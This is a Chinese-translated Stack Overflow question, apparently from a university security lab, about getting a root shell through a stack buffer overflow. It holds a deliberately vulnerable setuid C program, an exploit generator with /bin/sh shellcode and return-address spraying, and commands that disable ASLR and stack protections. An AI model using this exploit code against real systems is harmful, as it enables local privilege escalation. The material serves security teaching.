首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >缓冲区溢出漏洞实验室问题

缓冲区溢出漏洞实验室问题
EN

Stack Overflow用户
提问于 2013-02-17 06:51:28
回答 2查看 15.9K关注 0票数 1

我有一项实验任务,我被困住了。基本上,我必须利用缓冲区溢出来生成具有root权限的shell。我必须使用两个独立的.c文件。下面是第一个: stack.c

代码语言:javascript
复制
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
    char buffer[12];

    //BO Vulnerability
    strcpy(buffer,str);

    return 1;
}

int main(int argc, char* argv[])
{
    char str[517];

    FILE *badfile;
    badfile = fopen("badfile","r");

    fread(str, sizeof(char),517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

下面是第二个: exploit.c

代码语言:javascript
复制
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0"              /* xorl    %eax,%eax              */
"\x50"                  /* pushl   %eax                   */
"\x68""//sh"            /* pushl   $0x68732f2f            */
"\x68""/bin"            /* pushl   $0x6e69622f            */
"\x89\xe3"              /* movl    %esp,%ebx              */
"\x50"                  /* pushl   %eax                   */
"\x53"                  /* pushl   %ebx                   */
"\x89\xe1"              /* movl    %esp,%ecx              */
"\x99"                  /* cdql                           */
"\xb0\x0b"              /* movb    $0x0b,%al              */    
"\xcd\x80"              /* int     $0x80                  */
;
void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

我只能修改第二个。以下是我所做的更改:

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350 

char shellcode[]=
"\x31\xc0"              /* xorl    %eax,%eax              */
"\x50"                  /* pushl   %eax                   */
"\x68""//sh"            /* pushl   $0x68732f2f            */
"\x68""/bin"            /* pushl   $0x6e69622f            */
"\x89\xe3"              /* movl    %esp,%ebx              */
"\x50"                  /* pushl   %eax                   */
"\x53"                  /* pushl   %ebx                   */
"\x89\xe1"              /* movl    %esp,%ecx              */
"\x99"                  /* cdql                           */
"\xb0\x0b"              /* movb    $0x0b,%al              */    
"\xcd\x80"              /* int     $0x80                  */

unsigned long get_sp(void)
{
    __asm__("movl %esp,%eax");
}

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    char *ptr;
    long *a_ptr,ret;

    int offset = DEFAULT_OFFSET;
    int codeSize = sizeof(shellcode);
    int buffSize = sizeof(buffer);

    if(argc > 1) offset = atoi(argv[1]); //allows for command line input

    ptr=buffer;
    a_ptr = (long *) ptr;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(buffer, 0x90, buffSize);

//----------------------BEGIN FILL BUFFER----------------------\\

    ret = get_sp()+offset;
    printf("Return Address: 0x%x\n",get_sp());
    printf("Address: 0x%x\n",ret);

    ptr = buffer;
    a_ptr = (long *) ptr;

    int i;
    for (i = 0; i < 300;i+=4)
    {
        *(a_ptr++) = ret;
    }

    for(i = 486;i < codeSize + 486;++i)
    {
        buffer[i] = shellcode[i-486];
    {
    buffer[buffSize - 1] = '\0';
//-----------------------END FILL BUFFER-----------------------\\


/* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer,517,1,badfile);
    fclose(badfile);    
}

然后,我从命令行执行了以下命令

代码语言:javascript
复制
$ su root
$ Password (enter root password)
# gcc -o stack -fno-stack-protector stack.c
# chmod 4755 stack
# exit
$ gcc -o exploit exploit.c
$./exploit
$./stack

然而,虽然它确实生成了一个包含实际数据和外壳的“坏文件”,但该外壳只具有基本的用户权限。在此之前,我确实在root中执行了以下内容:

代码语言:javascript
复制
echo 0 > /proc/sys/kernel/randomize_va_space

Lab说我需要在root下执行以下命令:

代码语言:javascript
复制
sysctl -w kernel.randomize_va_space=0

然而,如果我这样做,那么当我执行"stack“时,我得到一个”非法指令“错误。有人能帮我解决这个问题吗?

EN

回答 2

Stack Overflow用户

发布于 2013-02-18 07:09:41

我知道问题出在哪里了。我必须将zsh链接到/bin/bash/。我跳过了这一步,因为我认为只有当我使用Fedora时才需要这样做。我在用Ubuntu。

票数 2
EN

Stack Overflow用户

发布于 2014-09-12 21:14:43

缓冲区strcpy(

,str);

在测试过程中,您需要解决的一件事就是这个函数调用。

FORTIFY_SOURCE使用memcpystrcpy等高风险函数的“更安全”变体。当编译器可以推断出目标缓冲区大小时,它会使用更安全的变体。如果拷贝超过目标缓冲区大小,则程序调用abort()

要为您的测试禁用FORTIFY_SOURCE,您应该使用-U_FORTIFY_SOURCE-D_FORTIFY_SOURCE=0编译程序。

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/14916004

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档